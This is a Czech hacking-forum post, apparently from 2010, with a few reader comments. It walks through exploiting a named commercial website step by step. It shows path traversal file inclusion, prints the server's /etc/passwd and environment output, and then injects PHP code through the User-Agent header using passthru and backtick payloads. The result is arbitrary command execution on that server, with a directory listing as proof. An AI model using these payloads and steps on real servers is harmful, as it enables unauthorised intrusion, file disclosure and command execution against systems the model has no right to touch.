bodegasite.com od LFI k RCE aneb proc/self/environ

BugTrack

bodegasite.com od LFI k RCE aneb proc/self/environ#
Zdravim vsechny,chtel jsem se s vami podelit o chybu,ktera neni z nejbeznejsich,ale presto,jak uvidite,ma dopad fatalni :) (alespon bude paleta bugtracku pestrejsi a ne jen SQLi,XSS..).

Zacneme tedy nalezenim webu,kde jsme schopni najit LFI,v nasem pripade to bude web [link]
a vysledek:
Warning: require(baf) [function.require]: failed to open stream: No such file or directory in /home/bodega/public_html/index.php on line 165

Spousta z vas by po shlednuti vystupu mozna brala vec jako vyresenou a pristoupila k nahrani shellu(LFI --> RFI),ovsem v tom pripade budete zastaveni diky php direktive:
Warning: require() [function.require]: URL file-access is disabled in the server configuration in /home/bodega/public_html/index.php on line 165

Zde tedy moznost RFI konci,to nam ale nevadi:) Dale zkusime,co vsechno muzeme inkludovat,takze :

[link]

a vysledek:
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdow
n halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nolo
gin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nol
ogin operator:x:11:0:operator:/root:/sbin/nologi
n games:x:12:100:games:/usr/games:/sbin/nolog
in gopher:x:13:30:gopher:/var/gopher:/sbin/nol
ogin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin named:x:25:25:Named:/var/named:/sbin/nologi
n sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin rpm:x:37:37::/var/lib/rpm:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/n
ologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nolo
gin apache:x:48:48:Apache:/var/www:/sbin/nologi
n mysql:x:100:101:MySQL server:/var/lib/mysql:/bin/bash...
Mame tedy k ruce tento uzitecny seznam,ktery nam v nasi veci neposlouzi,ale ma zase jine moznosti vyuziti.Alespon jsme si overili,ze muzeme inkludovat relativne bez omezeni.Nyni uz pristoupime k inkluzi samotneho /proc/self/environ :
DOCUMENT_ROOT=/home/bodega/public_html&
#65533;GATEWAY_INTERFACE=CGI/1.1&#65533
;HTTP_ACCEPT=text/html,application/xhtml+xm
l,application/xml;q=0.9,*/*;q=0.8&#6553
3;HTTP_ACCEPT_CHARSET=windows-1250,utf-8;q=
0.7,*;q=0.7�HTTP_ACCEPT_ENCODING
=gzip,deflate�HTTP_ACCEPT_LANGUA
GE=cs,en-us;q=0.7,en;q=0.3�HTTP_
CONNECTION=keep-alive�HTTP_HOST=
www.bodegasite.com�HTTP_KEEP_ALI
VE=115�HTTP_USER_AGENT=Mozilla/5
.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6�PATH=/bin:/usr/bin
�QUERY_STRING=page=../../../../.
./../proc/self/environ�REDIRECT_
STATUS=200�REMOTE_ADDR=62.168.8.
65�REMOTE_PORT=7663�R
EQUEST_METHOD=GET�REQUEST_URI=/?
page=../../../../../../proc/self/environ&am
p;#65533;SCRIPT_FILENAME=/home/bodega/publi
c_html/index.php�SCRIPT_NAME=/in
dex.php�SERVER_ADDR=208.77.96.52
�SERVER_ADMIN=webmaster@bodegasi
te.com�SERVER_NAME=www.bodegasit
e.com�SERVER_PORT=80�
SERVER_PROTOCOL=HTTP/1.1�SERVER_
SIGNATURE=

Ti bystrejsi z vas si vsimnou,ze ve vypisu muzeme jednu vec ovlivnit a to sice :"HTTP_USER_AGENT".Ja osobne pouzivam prohlizec FF,tedy za timto ucelem pouzivam User aget switcher add on ([link]

Zapnete user agent switcher a zmente user agenta na <? passthru(?_GET[xxx]) ?>.

Dale zavolejte nasledujici link:
[link]

Ocekavame vypis adresarove struktury,ale ejhle:

Parse error: syntax error, unexpected T_STRING in /proc/27898/environ on line 1

Po chvilce badani prijdete nato,ze nam neprojdou zavorky "()",coz je celkem smula,jelikoz fce v php zavorky potrebuji(zde me prosim nechytejte za slovicko,potrebuji je fce,ktere potrebujeme my :) ).

Nastesti PHP podporuje execution operator aka backtick.S touto vedomosti opet nastartujeme agent switchera a napiseme do nej toho:

<?php $prikaz = `ls -al`; echo "$prikaz";?>

A vysledek:
total 19156 drwxr-x--- 18 bodega nobody 4096 Jun 26 15:28 . drwx--x--x 17 bodega bodega 4096 Jul 15 23:50 .. -rw------- 1 bodega bodega 14 Jul 5 06:28 .ftpquota -rw-r--r-- 1 bodega bodega 1 Jun 11 2007 .htaccess drwxr-xr-x 2 bodega bodega 4096 Jun 20 2007 .smileys -rw-r--r-- 1 bodega bodega 7381 Jun 20 2007 .wysiwygPro_edit_index_html.php -rw-r--r-- 1 bodega bodega 3812 Dec 26 2007 .wysiwygPro_edit_product_html.php -rw-r--r-- 1 bodega bodega 3497 Feb 17 16:21 ClearOverPlaySeekMute.swf drwxr-xr-x 2 bodega bodega 4096 May 30 2007 Connections -rw-r--r-- 1 bodega bodega 65536 Apr 29 11:18 UTC55i.AVI drwxr-xr-x 2 bodega bodega 4096 May 1 2007 _notes drwxr-xr-x 7 bodega bodega 4096 Jun 19 15:33 admin -rw-r--r-- 1 bodega bodega 2726550 Jun 11 2007 bodegaheader.gif -rw-r--r-- 1 bodega bodega 47891 May 1 2007 bodegaheader.jpg drwxr-xr-x 2 bodega bodega 4096 Apr 28 2007 cgi-bin drwxr-xr-x 9 bodega bodega 4096 Jun 4 2007 chat -rw-r--r-- 1 bodega bodega 4312 Jul 26 2007 confin.html -rw-r--r-- 1 bodega bodega 9085 Aug 2 2007 confin.php -rw-r--r-- 1 bodega bodega 1214 Sep 28 2006 cons.jpg -rw-r--r-- 1 bodega bodega 4521 Jan 30 2009 contactus.html -rw-r--r-- 1 bodega bodega 4780 Jul 27 2007 desktop.php -rw-r--r-- 1 bodega bodega 13703 Jul 17 2007 desktopseries.html -rw-r--r-- 1 bodega bodega 19378 May 1 2007 desktopseries1.html

Docilili jsme tedy moznosti prez LFI spustit libovolny prikaz.Dekuji za precteni a doufam,ze vam tento kus textu neco dal.
Player aka RnmX4
(odpovědět)
Player1 | 62.168.8.*16.7.2010 14:18
re: bodegasite.com od LFI k RCE aneb proc/self/env#
Moc pekne, o "execution operator aka backtick" jsem nevedel. Diky.

----------
Cow power by Gentoo...
(odpovědět)
Anonymous_ | E-mail18.7.2010 15:04
re: bodegasite.com od LFI k RCE aneb proc/self/env#
wow, super vecicka :) fakt ze jo..
(odpovědět)
pcdm | 89.103.11.*27.7.2010 14:20

 
 
 

 
BBCode